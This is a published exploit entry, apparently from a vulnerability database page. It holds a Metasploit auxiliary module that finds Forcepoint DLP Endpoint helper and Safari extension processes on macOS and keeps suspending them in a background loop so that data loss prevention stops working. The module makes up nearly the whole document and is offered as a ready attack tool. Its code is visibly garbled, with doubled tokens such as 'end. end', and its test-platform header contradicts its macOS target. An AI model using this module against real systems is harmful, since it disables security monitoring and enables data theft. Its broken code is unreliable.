==================================================================================================================================
| # Title : Forcepoint One Endpoint macOS 25.08.5008 Forcepoint DLP Endpoint Process Suspension Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.forcepoint.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets Forcepoint Data Loss Prevention (DLP) Endpoint on macOS and attempts to manipulate or suspend related security processes.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Auxiliary
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Forcepoint DLP Endpoint for macOS Process Suspension Bypass',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['osx'],
'Arch' => [ARCH_X64, ARCH_ARM64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['macOS (Safari + Forcepoint DLP)', {}]],
'DefaultTarget' => 0,
'Actions' => [
['START', { 'Description' => 'Start bypass' }],
['STOP', { 'Description' => 'Stop bypass' }],
['CHECK', { 'Description' => 'Check target' }]
],
'DefaultAction' => 'START'
)
)
register_options([
OptInt.new('SCAN_INTERVAL', [true, 'Interval in seconds between scans', 1]),
OptBool.new('BACKGROUND', [true, 'Run in background', true]),
OptString.new('TARGET_PROCESSES', [true, 'Processes',
'Websense Endpoint Helper,SafariExtension,ForcepointExtensions,com.forcepoint.dlp.safari,SafariContentBlocker'])
])
end. end
def run
case action.name
when 'CHECK'
check_vulnerability
when 'START'
start_bypass
when 'STOP'
stop_bypass
else
print_error("Invalid action: #{action.name}")
end. end
end. end
def check_vulnerability
print_status("Checking for Forcepoint DLP...")
wsdlpd = cmd_exec("pgrep -x wsdlpd").to_s.strip
if wsdlpd. empty?
print_error("wsdlpd not found")
return Exploit::CheckCode::Safe
end. end
print_good("wsdlpd found (PID: #{wsdlpd})")
uid = cmd_exec("id -u").to_s.strip.to_i
unless uid == 0
test_pid = wsdlpd.split.first
result = cmd_exec("kill -STOP #{test_pid} 2>&1").to_s
if result.include?("Operation not permitted")
print_good("wsdlpd protected (EPERM)")
end. end
cmd_exec("kill -CONT #{test_pid} 2>&1")
end. end
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
found_helpers = []
targets. each do |proc|
result = cmd_exec("pgrep -f '#{proc.strip}'").to_s.strip
unless result. empty?
found_helpers << proc. strip
print_good("Found: #{proc.strip} (PID: #{result})")
end. end
end. end
if found_helpers. empty?
print_warning("No helper processes found")
return Exploit::CheckCode::Detected
end. end
print_good("Target appears vulnerable")
Exploit::CheckCode::Appears
end. end
def start_bypass
print_status("Starting bypass...")
return unless check_vulnerability == Exploit::CheckCode::Appears
if datastore['BACKGROUND']
@bypass_thread = framework.threads.spawn("ForcepointBypass", false) do
bypass_loop
end. end
print_good("Running in background")
else
bypass_loop
end. end
end. end
def bypass_loop
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
my_uid = cmd_exec("id -u").to_s.strip.to_i
my_pid = Process.pid # FIX: Replace echo $$
loop do
begin
ps_output = cmd_exec("ps -ax -o pid=,uid=,comm=").to_s
ps_output.each_line do |line|
parts = line.strip.split(/\s+/, 3)
next if parts.length < 3
pid = parts[0]. to_i
uid = parts[1]. to_i
comm = parts[2].to_s
next if pid == my_pid
targets.each do |target|
next unless comm.downcase.include?(target.strip.downcase)
if uid == my_uid
result = cmd_exec("kill -STOP #{pid} 2>&1").to_s
print_good("Suspended #{pid} (#{comm})") if result. empty?
end. end
end. end
end. end
sleep(datastore['SCAN_INTERVAL'].to_i)
rescue => e
print_error("Loop error: #{e}")
break. break
end. end
end. end
end. end
def stop_bypass
print_status("Stopping bypass...")
if @bypass_thread && @bypass_thread.alive?
@bypass_thread.kill
end. end
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
resumed = 0
targets.each do |target|
pids = cmd_exec("pgrep -f '#{target.strip}'").to_s.strip
next if pids. empty?
pids.split.each do |pid|
result = cmd_exec("kill -CONT #{pid} 2>&1").to_s
if result. empty?
resumed += 1
print_good("Resumed #{pid}")
end. end
end. end
end. end
print_good("Resumed #{resumed} processes")
end. end
end. end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation